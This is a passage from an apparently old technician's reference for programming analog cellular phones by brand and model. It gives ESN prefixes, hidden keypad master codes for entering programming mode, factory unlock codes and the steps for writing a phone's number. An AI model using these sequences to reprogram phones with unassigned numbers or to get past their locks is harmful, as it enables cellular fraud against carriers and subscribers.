-------------------------------------------------------------------------------
Not handset programmable from the factory. The phone can be sent for
modification to CINCINNATTI MICROWAVE to be handset programmable. Call
1-800-247-4300 for instructions and cost.
After phone has been factory modified to accept handset programming, use
MOTOROLA ULTRA CLASSIC programming instructions. Place the phone in a manual
test mode to read the existing 6-digit security code necessary for keypad
programming.
This has dual NAM capability. To toggle between NAM's press RCL + # + STO.
-------------------------------------------------------------------------------
CITICOMM MM1000
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Citicomm
Programmer: Keypad with cradle jumper installed
ESN Prefix DEC: 163
HEX: A3
ESN, S/N Match Required: Yes
Available Channels: 832
Programming Sequence: Open cradle and insert a jumper wire from
contact #8 to contact #10 on cradle
PC board (see schematic next page)
Power On
Press * + * + # + # + FCN + STO (within 10 seconds
to enter program mode)
Enter NAM option 0, 1 or 2
0 NAM 1 only (lock out NAM 2)
1 Program NAM 1
2 Program NAM 2
Enter parameter for each step then press STO to
store increment
CLR key corrects data before STO is pressed
Press SEND to write data in NAM
System ID Format: 5 XXXXX + STO
Local Use Option: 1 1 + STO
MIN Option: 1 1 + STO
Mobile Number: 10 XXX-XXX-XXXX + STO
Station Class: 2 08 + STO
Initial Paging Channel: 4 0333 or 0334 + STO
Access Overload Class: 2 XX + STO
Preferred System: 1 0(B) or 1(A) + STO
Group ID Format: 2 XX + STO
Press SEND to write data in NAM.
New Unlock Code: Current 4-digit unlock code + FCN + 0
+ new 4-digit unlock code
System Select: 4-digit unlock code + FCN + * + * + *,
etc. (the following options will be
displayed) + STO (to enter selection)
-------------------------------------------------------------------------------
CLARION 1100 CT
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: Clarion
Programmer: Motorola 1801 -- Celnam, Curtis or Bytek
ESN Prefix DEC: 140
HEX: 8C
ESN, S/N Match Required: No
Programmable Handset: No
Available Channels: 832
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX
MIN Option: Enabled
Repertory Option: Enabled
Handsfree Option: Enabled or Disabled
Local Use Option: Enabled
End-to-End Signalling: Enabled
Horn Alert Option: Enabled
System ID Format: XXXXX
Preferred System: A or B
Access Overload Class: XX
Group ID Format: XX
Initial Paging Channel: 333 or 334
Station Class: 08
Horn Alert: L/H + HORN/# (simultaneously)
New Unlock Code: NAM
System Select: FUNC + 2 + 0 + SRCH + SRCH +
SRCH (to scroll)
(one of the following will appear)
Standard (AB or BA)
Invert (BA or AB)
Home
Roam (A only or B only)
Press STO to enter selection
-------------------------------------------------------------------------------
CLARION 3000 CT
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Clarion
Programmer: Handset
ESN Prefix DEC: 166
HEX: A6
ESN, S/N Match Required: Yes
Available Channels: 832
Programming Sequence: Power On (Err 3 may be displayed if
phone has not been programmed)
Press CLR + * + * + 123123 + # + # (within 10
seconds)
0 will be displayed
Select NAM 1 thru 3 by entering 1, 2 or 3
Press RCL + step number + enter new information
+ STO (for each step)
(To enter unlock code 123; RCL + ) + 123 + STO)
Power OFF to exit program mode
Unlock Code: 3or4 XXX or XXXX + STO
System ID Format: 5 XXXXX + STO
Local Use Option: 1 1 + STO
MIN Option: 1 1 + STO
Mobile Number: 10 XXX-XXX-XXXX + STO
Station Class: 2 08 + STO
Initial Paging Channel: 3 333 or 334 + STO
Access Overload Class: 2 XX + STO
Preferred System: 1 1(A) or 0(B) + STO
Group Id Format: 2 XX + STO
Power OFF to exit program mode.
-------------------------------------------------------------------------------
CLARION 5100CT and 5200CT
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Clarion
Programmer: Keypad
ESN Prefix DEC: 166
HEX: A6
ESN, S/N Match Required: Yes
Stamped Model Number: None (handset is labeled 5100CT or 5200CT)
Available Channels: 832
Programming Sequence: Power On (Err 3 may be displayed if
phone has not been programmed)
Press CLR + * + * + 123123 + # + # (within 10
seconds)
0 will be displayed
Select NAM 1 thru 3 by entering 1, 2 or 3
Press RCL + step number + enter new information
+ STO (for each step)
(to enter station class; RCL + 5 + 08 + STO)
Power OFF to exit program mode
Unlock Code: 3or4 XXX or XXXX + STO
System ID Format: 5 XXXXX + STO
Local Use Option: 1 1 + STO
MIN Option: 1 1 + STO
Mobile Number: 10 XXX-XXX-XXXX + STO
Station Class: 2 08 + STO
Initial Paging Channel: 3 333 or 334 + STO
Access Overload Class: 2 XX + STO
Preferred System: 1 1(A) or 0(B) + STO
Group ID Format: 2 XX + STO
Power OFF to exit program mode.
Display ESN: FCN + 6
Horn Alert: FCN + 8 + "+ or -"
New Unlock Code: NAM
System Select: FCN + 4 + "+ or -" (to scroll choices) + STO
-------------------------------------------------------------------------------
CMTELECOM AR 3800 mobile/transportable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: CMTELECOM
ESN Prefix DEC: 153
HEX: 99
ESN, Serial Number Match: yes
Programming Sequence:
Power ON
Lock Phone: FUNC + 1 + 1 (press 1 until "F-Lock"
displays) + SND
Enter Password: * + 5965 ("Conf 3800" will display, else enter
Password * + 0188)
Press VOL UP or DOWN keys to increment steps
RCL + 2 digit step # to reach specific parameters
SND must be pressed to save info after each step
To store complete NAM info press END
Step # of digits
1 Mobile Number 1: 10 XXX-XXX-XXXX + SND + VOL UP
2 System ID 1: 5 XXXXX + SND + VOL UP
3 Init. paging ch 1: 3 333 or 334 + SND + VOL UP
4 Access Overload 1: 2 XX + SND + VOL UP
5 Group ID 1: 2 XX + SND + VOL UP
6 Local Use 1: 1 1(SND to toggle) + VOL UP
7 System Select 1: 1 0 = 0 + SND + VOL UP
1 = BA + SND + VOL UP
2 = A only + SND + VOL UP
3 = B only + SND + VOL UP
4 = Home + SND + VOL UP
8,9 Not Used (VOL UP)
10 Mobile Number 2: 10 XXX-XXX-XXXX + SND + VOL UP
11 System ID 2: 5 XXXXX + SND + VOL UP
12 Init pagin Channel: 3 333 or 334 + SND + VOL UP
13 Access Overload 2: 2 XX + SND + VOL UP
14 Group ID 2: 2 XX + SND + VOL UP
15 Local use 2: 1 1 (SND to toggle) + VOL UP
16 System Select 2: 1 0 = AB + SND + VOL UP
1 = BA + SND + VOL UP
2 = A Only + SND + VOL UP
3 = B Only + SND + VOL UP
4 = Home + SND + VOL UP
17 Future Use: 1 0 + SND + VOL UP
18 Power Save: 1 0(Dis) or 1(Enable) + SND + VOL UP
19 System ID: 5 XXXXX + SND + VOL UP
20 Prog Password: 5 Leave at Factory Set Number + VOL UP
Horn Alert: FUNC + 4 + SND
New Unlock Code: NAM
System Seltect: FUNC + (ALPHA to scroll)
PrefA AB
PrefB BA
Only A
Only B
Only H Home
SND to enter selection
CLR to exit
-------------------------------------------------------------------------------
DIAMONDTEL (MITSUBISHI) MESA 52 and 55 (Handset Programming)
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacter: Mitsubishi
Programmer: Handset (phone can also be porgrammed with NAM,
see MESA 40, 50, 52 and 55 programming)
ESN Prefix DEC: 134
Hex: 86
ESN, S/N Match Required: Yes
Available Channels: 666
Programming Sequence: Power On (hold for 1 second)
Depress and hold CLR while keying 1951426 or
8291112 (if phone has been porgrammed 3
times) must be entered within 10 seconds
Press SEND to enter data and increment
CLR may be used to correct an entry
Write NAM information with END key
Mobile Number: 10 XXX-XXX-XXXX + SEND
Security Code: 3 XXX + SEND
System ID Format: 5 XXXXX + SEND
Local Use Option: 1 1 + SEND
MIN Option: 1 1 + SEND
Initial Paging Channel: 4 0333 oe 334 + SEND
Access Overload Class: 2 XX + SEND
Preferred System: 1 0 (B) or 1 (A) + SEND
Group ID Format: 2 XX + SEND
End-to-End Signalling: 1 1 + SEND
Handsfree Option: 1 1 (if equipped) + SEND
Roam Inhibit: 1 0 or 1 + SEND
Aux Option1: 2 00 to 07 + SEND (see bottom)
Aux Option2: 2 00 ro 07 + SEND (see bottom)
Aux Option1
Second Non-Resettable Extended DTMF
Handset Cumulative Timer
01 x x
02 x
03 x x
04 x
05 x x
06 x x
07 x x x
Aux Option2
Cumulative Timer
Increment
00 60 seconds
01 30 seconds
02 20 seconds
03 15 seconds
04 12 seconds
05 10 seconds
06 6 seconds
07 1 second
Horn Alert: FCN + 4
New Unlock Code: FCN + 1 + 3-digit security code (current
unlock code will appear) + new 3-digit
unlock code + CLR
System Select: FCN + # + # + #, etc. (the following
will be displayed):
Pref A
Pref B
Only A
Only B
H Only
Press CLR to enter selection and exit.
-------------------------------------------------------------------------------
DIAMONDTEL (MITSUBISHI) MESA 40, 50, 51 and 55 (NAM Program)
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: Mitsubishi
Programmer: Motorola 1801 -- Celnam, Curtis, or
Handset (51 and 55 only)
ESN Prefix DEC: 134
HEX: 86
ESN, S/N Match Required: No
Programmable Handset: 52 and 55 only
Available Channels: 666
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX
MIN Option: Enabled
Repertory Option: Enabled
Handsfree Option: Disabled
Local Use Option: Enabled
End-to-End Signalling: Enabled
Horn Alert option: Enabled
System ID Format: XXXXX
Preferred System: A or B
Access Overload Class: XX
Group ID Format: XX
Initial Paging Channel: 333 or 334
Station Class: 00
Horn Alert: FCN + 4
New Unlock Code: FCN + 1 + 3-digit security
code (current Unlock Code will appear)
+ new 3-digit Unlock Code + CLR
System Select: STO + # + # + # etc..
(one of the following will appear)
AAABBB or BBBAAA Standard
BBBAAA or AAABBB Alternate
C50A Home A only
C50B Home B only
AAAAAA A only
BBBBBB B only
Press CLR to enter selection and exit.
-------------------------------------------------------------------------------
DIAMONDTEL MESA 60, 60X and 80X portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Mitsubishi
Programmer: Handset
ESN Prefix DEC: 134
HEX: 86
ESN, S/M Match Required: No
Programmble Handset: Yes
Available Channels: 666
Programming Sequence: Power On (END/FCN + 0, simultaneously)
Hold CLR and enter 6926232 (within 10 seconds)
Enter step infomation then press SND
Press END to write NAM infomation
Mobile Number: 10 XXX-XXX-XXXX
Security Code: 4 XXXX
System ID Format: 5 XXXXX
Local Use Option: 1 1
MIN Option: 1 1
Initial Paging Channel: 3 333 or 334
Access Overload Class: 2 XX
Preferred System: 1 0 (B) or 1 (A)
Group ID Format: 2 XX
End-to-End Signalling: 1 1
Roam Inhibit: 1 0
A/B Selectable: 1 1
Auto Lock: 1 0
Aux: 1 0
New Unlock Code: FCN + STO + 4-digit security code (NAM)
+ new 3-digit unlock code
System Select: FCN + 1 + X
X=0 AB or BA Standard
X=1 BA or AB Alternate
X=2 Home
X=3 Pref Only
X=4 Non-Pref Only
-------------------------------------------------------------------------------
DIAMONDTEL MESA 90X and 99X portables
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Mitsubishi
Programmer: Handset
ESN Prefix DEC: 134
HEX: 86
ESN, S/N Match Required: No
Programmable Handset: Yes
Programming Sequence: Power On
Depress and hold END while inputting 5132920
or 6972814 (must be input within 10
seconds)
Enter information for each step then press
SEND to increment
Press END to write NAM infomation
Dual Number: 1 0 (1 number) or 1 (2 numbers) + SEND
Mobile Number: 10 XXX-XXX-XXXX + SEND
System ID Format: 5 XXXXX + SEND
Local Use Option: 1 1 + SEND
MIN Option: 1 1 + SEND
Initial Paging Channel: 4 333 or 334 + SEND
Access Overload Class: 2 XX + SEND
Preferred System: 1 0 (B) or 1 (A) + SEND
Group ID Format: 2 XX + SEND
Roam Inhibit: 1 0 + SEND
VOX (DTX): 1 (0 or 1) + SEND
2 Mobile Number: 10 XXX-XXX-XXXX + SEND
2 System ID Format: 5 XXXXX + SEND
2 Local Use Option: 1 1 + SEND
2 MIN Option: 1 1 + SEND
2 Initial Paging Channel: 4 0333 or 0334 + SEND
2 Access Overload Class: 2 XX + SEND
2 Preferred System: 1 0 (B) or 1 (A) + SEND
2 Group ID Format: 2 XX + SEND
2 Roam Inhibit: 1 (0 or 1) + SEND
2 VOX (DTX): 1 (0 or 1) + SEND
2 Auto Retry: 1 (0 or 1) + SEND
Security Code: 4 XXXX + SEND
End-to-End Signalling: 1 1 + SEND
Continuous DTMF: 1 (0 or 1) + SEND
Auto Lock: 1 (0 or 1) SEND
Booster: 1 0 + SEND
Audible Timer: 1 (0 or 1) + SEND
Press END to exit program mode.
-------------------------------------------------------------------------------
DIAMONDTEL MESA 92 transportable/portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Mitsubishi
Programmer: Handset
ESN Prefix DEC: 134
HEX: 86
ESN, S/N Match Required: No
Stamped Model # : 1st 2 digits of serial # are 92
Programmable Handset: Yes
Avialable Channels: 832
Programming Sequence: Power On
Depress and hold END while inputting 1951426 or
8291112 (if phone has been programmed 3x)
enter within 10 seconds
Enter infomation for each step then press SEND
to increment
Press END to write NAM information
# of digits
Dual Number: 1 0 (1 number) or 1 (2 numbers) + SEND
Mobile Number: 10 XXX-XXX-XXXX + SEND
System ID Format: 5 XXXXX + SEND
Local Use Option: 1 1 + SEND
MIN Option: 1 1 + SEND
Initial Paging Channel: 4 0333 or 0334 + SEND
Access Overload Class: 2 XX + SEND
Group ID Format: 2 XX + SEND
Timer increment: 1 0 + SEND
(if Dual Number was 0 then skip 2nd programming sequence)
2 Mobile Number: 10 XXX-XXX-XXXX + SEND
2 System ID Format: 5 XXXXX + SEND
2 Local Use Option: 1 1 + SEND
2 MIN Option: 1 1 + SEND
2 Initial Paging Channel: 4 0333 or 0334 + SEND
2 Access Overload Class: 2 XX + SEND
2 Group ID Format: 2 XX + SEND
2 Timer increment: 1 0 + SEND
Security Code: 4 XXXX + SEND
VOX: 1 (0 or 1) + SEND
Roam Inhibit: 1 (0 or 1) + SEND
Continous Tone: 1 (0 or 1) + SEND
Disable Cumulative: 1 (0 or 1) + SEND
Disable ignition sense: 1 (0 or 1) + SEND
Disable own # display: 1 (0 or 1) + SEND
SID Lockout: 1 (0 or 1) + SEND
Dual Handset: 1 (0 or 1) + SEND
RJ11 Option: 1 (0 or 1) + SEND
Press END to exit Program mode.
New Unlock Code: FCN + 7 + 4-digit security
code (NAM) + new 3-digit unlock code
System Select: FCN + 1 + x
X=0 AB or BA Standard
X=1 BA or AB Alternate
X=2 Home
X=3 Pref only
X=4 Non-Pref only
Press CLR to exit.
-------------------------------------------------------------------------------
DIAMONDTEL MESA 95 transportable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Mitsubishi
Programmer: Handset
ESN Prefix DEC: 134
HEX: 86
ESN, S/N Match Required: No
Programmable Handset: Yes
Available Channels: 832
Programming Sequence: Power On
Depress and hold END while inputting 1951426 or
8291112 (if phone has been programmed 3x)
Enter information for each step then press SEND
to increment
Press END to write NAM information
# of digits
Dual number: 1 0 (1 number) or 1 (2 numbers) + SEND
Mobile Number: 10 XXX-XXX-XXXX + SEND
System ID Format: 5 XXXXX + SEND
Local Use Option: 1 1 + SEND
MIN Option: 1 1 + SEND
Initial Paging Channel: 4 0333 or 0334 + SEND
Access Overload Class: 2 XX + SEND
Preferred System 1: 1 (0) B or 1 (A) + SEND
Group ID Format: 2 XX + SEND
Timer Increment: 1 0 (0-7) + SEND
(if Dual Number was 0 then skip 2nd NAM programming)
2 Mobile Number: 10 XXX-XXX-XXXX + SEND
2 System ID Format: 5 XXXXX + SEND
2 Local Use Option: 1 1 + SEND
2 MIN Option: 1 1 + SEND
2 Initial Paging Channel: 4 0333 or 0334 + SEND
2 Access Overload Class: 2 XX + SEND
2 Preferred System: 1 0(B) or 1(A) + SEND
2 Group ID Format: 2 XX + SEND
2 Timer increment: 2 0(0-7) + SEND
Security code: 4 XXXX + SEND
End-to-End Signaling: 1 1 + SEND
VOX: 1 0 (0 or 1) + SEND
Handsfree: 1 0 (0 or 1) + SEND
Roam Inhibit: 1 0 (0 or 1) + SEND
Continuous Tone: 1 0 (0 or 1) + SEND
Disable Cumulative: 1 0 (0 or 1) + SEND
Disable Ignition sense: 1 0 (0 or 1) + SEND
Dual Handset: 1 0 (0 or 1) + SEND
New Unlock Code: FCN + 1 + 4-digit security code (NAM)
+ new 3-digit unlock code + CLR
Syetm Select: FCN + # + # (press CLR to select)
-------------------------------------------------------------------------------
FUJITSU F80M-360
-------------------------------------------------------------------------------
NAM Type: Fujitsu (PROM)
Manufacturer: Fujitsu
Programmer: Curtis or Bytek
ESN Prefix DEC: 133
HEX: 85
ESN, S/N Match Required: Yes
Programmable Handset: No
Available Channels: 666
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX
System ID Format: XXXXX
Horn Alert Option: 1
Handsfree Option: 0 (disable) or 1 (enable)
End-to-End Signalling: 1
Repertory Option: 1
Group ID Format: XX
Access Overload Class: XX
Station Class: 00
Local Use: 1
MIN Option: 1
Initial Paging Channel: 333 or 334
Preferred System: 0 (B) or 1 (A)
Determine software version from IC 2 on logic board befroe setting the option
bits. Last three digits on the PROM will be 003 or 004 to indicate the software
level.
Option Bits for Hex Address 13
Bit Curtis Software Software
Location Location Version 003 Version 004
B0 37 Call in absence Call in Absence
B1 38 Expanded Memory Lock Feature
(00-39) Bit-A
B2 39 DTMF from memory Lock Feature
Locations (30-39) Bit-B
B3 40 System Select Not used
B4 41 Not used Expanded memory (00-39)
B5 42 Not used DTMF from memory
Location (30-39)
B6 43 Not used Call Timer Bit A
B7 44 Not used Call Timer Bit B
Lock Feature Call timer
Bit A Bit B Bit A Bit B
0 0 Outgoing 0 0 6 seconds
0 1 Incoming 0 1 15 seconds
1 0 Auto Outgoing 1 0 30 seconds
1 1 Auto Incoming 1 1 60 seconds
-------------------------------------------------------------------------------
FUJITSU 362 (COMMANDER) and 362A (COMMANDER II)
-------------------------------------------------------------------------------
NAM Type: Fujitsu
Manufacturer: Fujitsu
Programmer: Curtis or Bytek
ESN Prefix DEC: 133
HEX: 85
ESN, S/N Match Required: Yes
Programmable Handset: No
Available Channels: 666
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX or XXXX
System ID Format: XXXX
Horn Alert Option: 1
Handsfree Option: 0 (Enabled from handset)
End-to-End Signalling: 1
Repertory Option: 1
Group ID Format: XX
Access Overload Class: XX
Station Class: 0000
Local Use Option: 1
MIN Option: 1
Initial Paging Channel: 333 or 334
Preferred System: 1 (A) or 0 (B)
Horn Alert: F + # (Aux)
New Unlock Code: NAM
System Select: F + 1 + X
X=1 (A then B)
X=2 (B then A)
X=3 (A Only)
X=4 (B Only)
X=5 (home)
-------------------------------------------------------------------------------
FUJITSU 364 (COMMANDER IIX) and 170 portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Fujitsu
Programmer: Handset
ESN Prefix DEC: 133
HEX: 85
ESN, S/N Match Required: Yes (manufacturer prefix + last 4 or 5 digits)
Programmable Handset: Yes
Available Channels: 832
Programming Sequence: Power On
F + LOCK
Power Off
Power On
# + 626 + # + 7764726 (within 10 seconds)
Hold * key until tone stops
Enter data for each step then press STOR
Press SEND to write data
# of digits
System ID Format: 5 XXXXX
Local Use Option: 1 1
MIN Option: 1 1
Mobile Number: 10 XXX-XXX-XXXX
Station Class: 2 08 (mobile) 14 (portable)
Initial Paging Channel: 3 333 or 334
Access Overload Class: 2 XX
Preferred System: 1 1 (A) or 0 (B)
Group ID Format: 2 XX
Lock: 3 or 4
Call Timer: 1 4
Auto Lock: 1 1
Call Restriction: 1 1
Call Timer - 1 Timer Off
2 6-seconds
3 30-seconds
4 60-seconds
Auto Lock - 1 Manual lock, no out
2 Manual lock, no calls
3 Auto lock, no out
4 Auto lock, no calls
Call Restriction - 1 No restriction
2 No memory dialing
3 No long-distance
4 Both 2 and 3
5 memory calls only
Programming steps for NAMs 2 thru 4: Power On
Unlock phone (if locked)
F + 7 + (NAM 2, 3 or 4)
F + LOCK
Power Off
Power On
Follow programming code and steps from
top
Horn alert (364 only): F + #/AUX
New Unlock Code: NAM
System Select: F + 1 + X
X=1 AB Pref A
X=2 BA Pref B
X=3 A Only
X=4 B Only
X=5 Home
To confirm setting, press RCL + F + X
-------------------------------------------------------------------------------
FUJITSU 364A (ST, LT, FX, DX, and XL)
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Fujitsu
Programmer: Handset
ESN Prefix DEC: 133
HEX: 85
ESN, S/N Match Required: Yes
Programmable Handset: Yes
Available Channels: 832
Programming Sequence: Power On
F + LOCK
Power Off
Power On
# + 626 + # + 7764726 (within 10 seconds)
Hold * key until tone stops
Enter data for each step then press STOR
Vol UP or DN arrows can be used to scroll
Press SEND to write data
# of digits
System ID Format: 5 XXXXX
Local Use Option: 1 1
Min Option: 1 1
Mobile Number: 10 XXX-XXX-XXXX
Station Class: 2 08 (mobile) 14 (portable)
Initial Paging Channel: 3 333 or 334
Access Overload Class: 2 XX
Preferred System: 1 1 (A) or 0 (B)
Group ID Format: 2 XX
Unlock Code: 3 or 4
Call Timer: 1 4
Call Restriction: 1 1
System ID Inhibit #: 5 XXXXX
System ID Inhibit #: 5 XXXXX
System ID Inhibit #: 5 XXXXX
Call Timer Increment - 1 Timer Off
2 6-seconds
3 30-seconds
4 60-seconds
Auto Lock - 1 Manual Lock, no out
2 Manual Lock, no calls
3 Auto Lock, no out
4 Auto Lock, no calls
Call Restriction - 1 No restriction
2 No memory dialing
3 No long-distance
4 Both 2 and 3
5 Memory calls only
Programming Instructions NAMs 2 thru 4: Power On
Unlock phone (if locked)
F + 7 + (NAM 2, 3, or 4)
F + LOCK
Power Off
Power On
Follow programming code from above
Horn alert: F + #
New Unlock Code: NAM
System Select: F + 1 + X
X=1 AB Pref A
X=2 BA Pref B
X=3 A only
X=4 B only
X=5 Home
To confirm setting, press RECL + F + X
-------------------------------------------------------------------------------
FUJITSU Pocket Commander
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Fujitsu
Programmer: Handset
ESN Prefix DEC: 133
HEX: 85
ESN, S/N Match Required: Yes
Stamped Model number: F80P-171
Available Channels: 832
Programming Sequence: Power On
F + LOCK
Power Off
Power On
# + 626 + # + 7764726 (within 10 seconds)
Hold * key until tone stops
Enter data for each step then press STOR
Vol UP or DN arrows can be used to scroll
Press SEND to write data
# of digits
System ID Format: 5 XXXXX
Local Use Option: 1 1
MIN Option: 1 1
Mobile Number: 10 XXX-XXX-XXXX
Station Class: 2 08 (mobile) or 14 (portable)
Initial Paging Channel: 3 333 or 334
Access Overload Class: 2 XX
Preferred System: 1 1 (A) or 0 (B)
Group ID Format: 2 XX
Unlock Code: 3 or 4
Call Timer: 1 4
Call Restriction: 1 1
System ID Search: 5 XXXXX
System ID Inhibit #: 5 XXXXX
Call Timer Increment - 1 Timer Off
2 6 seconds
3 30 seconds
4 60 seconds
Auto Lock - 1 Manual Lock, no out
2 Manual Lock, no calls
3 Auto Lock, no out
4 Auto Lock, no calls
Call Restriction - 1 No restriction
2 No memory dialing
3 No long-distance
4 Both 2 and 3
5 Memory calls only
Programming instructions NAMs 2 thru 4: Power On
Unlock phone (if locked)
F + 7 + (NAM 2, 3 or 4)
F + LOCK
Power Off
Power On
Follow programming code from above
Horn Alert: F + #
New Unlock Code: NAM
System Select: F + 1 + X
X=1 AB Pref A
X=2 BA Pref B
X=3 A only
X=4 B only
X=5 Home
To confirm setting, press RECL + F + X
-------------------------------------------------------------------------------
GATEWAY CP900 portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Gateway
Programmer: Keypad
ESN Prefix DEC: 147
HEX: 93
ESN, S/N Match Required: Yes
Stamped Model Number: CP900
Available Channels: 832
Programming Sequence: Power Off
Power On
Press MENU ("Enter Number" will be displayed)
Enter 0 + 9 (ON or OFF will be displayed)
Select NAM 1 or 2: OFF - NAM 1
ON - NAM 2
Press VOL UP or DOWN to toggle choices
Press CLR
Press MENU + 9 + 9 + current unlock code
(factory preset 9999)
PROGRAM NAM will be displayed
Enter each parameter then press SEND/ANSWER to
increment
Once the last step in entered and SEND/ANSWER is
pressed, the phone is automatically programmed
END may be pressed at any time to exit
changing the data
# of digits
System ID Format: 6 XXXXXX + SEND/ANSWER
Mobile Number: 10 XXX-XXX-XXXX + SEND/ANSWER
Initial Paging Channel: 4 0333 or 0334 + SEND/ANSWER
Access Overload Class: 2 XX + SEND/ANSWER
Group ID Format: 2 XX + SEND/ANSWER
MIN Option: 1 1 + SEND/ANSWER
Local Use Option: 1 1 + SEND/ANSWER
System Select: 1 1 (A) or 2 (B) + SEND/ANSWER
Phone is programmed when the final step is entered
New Unlock Code: MENU + 0 + 5 + current 4-digit unlock
code + new 4-digit unlock code + CLR
System Select: MENU + 0 + 8 + VOL UP or DOWN (to scroll
choices)
A only
B only
Normal
Home
Press CLR to exit.
-------------------------------------------------------------------------------
GE CF1000, CF2000, 3000 series, 4000 series, EXECUTIVE XR & MONOGRAM XR
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: GE
Programmer: Handset
ESN Prefix DEC: 146
HEX: 92
ESN, S/N Match Required: Yes
Programmable Handset: Yes
Available Channels: GE1000 & 2000 - 666
GE3000 & 4000 EXECUTIVE XR & MONOGRAM XR - 832
Programming Sequence: Power On
Hold CLR while inputting 923885 (within 10 seconds)
ESN will be displayed
Press SEND to enter data and increment
Press END to write NAM information
# of digits
Mobile Number: 10 XXX-XXX-XXXX
Unlock Code: 3 XXX
System ID Format: 5 XXXXX
Local Use Option: 1 1
MIN Option: 1 1
Initial Paging Channel: 3 333 or 334
Access Overload Class: 2 XX
Preferred System: 1 0 (B) or 1 (A)
Group ID Format: 2 XX
Horn Alert: 1 1
Handsfree Option: 1 0, 1 or 2 (MONOGRAM H/F)
Alternate Lock: 3 Don't use same code as unlock
Dual NAM: 1 0 (1 NAM) 1 (2 NAM)
Horn Alert (if equipped): Press and hold END key. While holding
END key, depress 9. On most models,
this feature does NOT cancel when the
ignition is turned on.
New Unlock Code: NAM
System Select: Press and hold END key. While holding
END key, depress 4. Use volume rocker
button to step through selections
0 Pref then Non-Pref
1 Pref only
2 Home only
3 Preferred Roam only
4 Non-Pref then Pref
5 Non-Pref only
Press CLR to exit.
-------------------------------------------------------------------------------
GE MINI II
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Mitsubishi
Programmer: keypad
ESN Prefix DEC: 134
HEX: 86
ESN, S/N Match Required: Yes
Programmable Handset: Yes
Available Channels: 832
Programming Sequence: Power On
Depress and hold ENd while inputting 6282905
(enter within 10 seconds)
Enter information for each step then press SEND
to increment (CLR to correct before SEND)
Press END to write NAM information
# of digits
Dual Number: 1 0 (1 NAM) 1 (2 NAMs) + SEND
Mobile Number: 10 XXX-XXX-XXXX + SEND
System ID Format: 5 XXXXX + SEND
Local Use Option: 1 1 + SEND
MIN Option: 1 1 + SEND
Initial Paging Channel: 4 0333 or 0334 + SEND
Access Overload Class: 2 XX + SEND
Preferred system 1: 1 0 (B) or 1 (A) + SEND
Group ID Format: 2 XX + SEND
Roam Inhibit 1: 1 0 or 1 (normal 0)
Discontinous Trans 1: 1 0 or 1
Automatic Retry 1: 1 0 or 1
(if 2 NAMs were set, you will repeat the above steps)
Security Code: 4 XXXX + SEND
End-End Signaling: 1 1 + SEND
Continuous DTMF: 1 0 or 1
Automatic Lock: 1 0 or 1
Announce Beep: 1 1
Booster Option: 1 0 or 1
New Unlock Code: FCN + 7 + 4-digit security code (NAM)
+ new 3-digit unlock code + CLR
System Select: FCN + 1 + X
X=0 Standard
X=1 Alternate
X=2 Home
X=3 Pref (A only/B only)
X=4 Non-Pref (B only/A only)
Press END to write data into NAM
-------------------------------------------------------------------------------
GE STAR
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: GE
Programmer: Motorola - Celnum or Curtis
ESN Prefix DEC: 146
HEX: 92
ESN, S/N Match Required: Yes
Programmable Handset: No
Available Channels: 666
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX
MIN Option: Enabled
Repertory Option: Enabled
Handsfree Option: Enabled or Disabled
Local Use Option: Enabled
End-to-End Signalling: Enabled
Horn Alert Option: Enabled
System ID Format: XXXXX
Preferred System: A or B
Access Overload Class: XX
Group ID Format: XX
Initial Paging Channel: 333 or 334
Station Class: 00
Manufacturer Options:
Hex Address B7 B0
13 0 1 0 1 0 0 0 0
14 1 1 0 0 0 0 0 0
Description Options:
Adress 13 - B6 External Repertory memory
B4 DTMF Format
Adress 14 - B7 Clock
B6 Call timer
Horn Alert: Press and hold END key. While holding
END key, depress 9. This feature does
not cancel when ignition is turned on.
New Unlock code: NAM
System Select: Press and hold END key. While holding
END key, depress 4. Use volume rocker
button to step through selections.
0: Pref then non-pref
1: Pref only
2: Home only
3: Preferred Roam Only
4: Non-Pref then Pref
5: Non-Pref only
-------------------------------------------------------------------------------
GOLDSTAR GM/GT 5000
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: GOLDSTAR
Programmer: Handset
ESN Prefix DEC: 141
HEX: 8D
ESN, S/N Match Required: Yes
Stamped Model Number: GM5000 or GT5000
Number of Channels: 832
Programming Sequence: Power On
FCN + 4 + * (to select NAM)
Enter Program Code: FCN + 99 + * ("Enter Code"
will display) + 1234567890 + MEM
Code must be entered within 30 seconds
Mobile Number will display
Press MEM after entering each parameter to Store
Once Parameter is stored, press Scroll UP or DN
to view next parameter
Press CLR key to exit program mode WITHOUT
changing any parameters
# of digits
Mobile Number: 10 XXX-XXX-XXXX + MEM
System ID: 5 XXXXX + MEM
Initial Page Channel: 3 333 or 334 + MEM
Access Overload: 2 XX
Unlock Code: 4 XXXX
Security Code: 6 XXXXXX + MEM
Theft Alarm Disable: 4 XXXX + MEM
Preferred System: 1 0 (B) or 1 (A) + MEM
Station Class: 1 0 + MEM
Handsfree: 1 0 (Disable) or 1 (Enable) + MEM
Local Use: 1 1 + MEM
MIN Option: 1 1 + MEM
Horn Alert: 1 1 + MEM
Optional Speaker: 1 1 + MEM
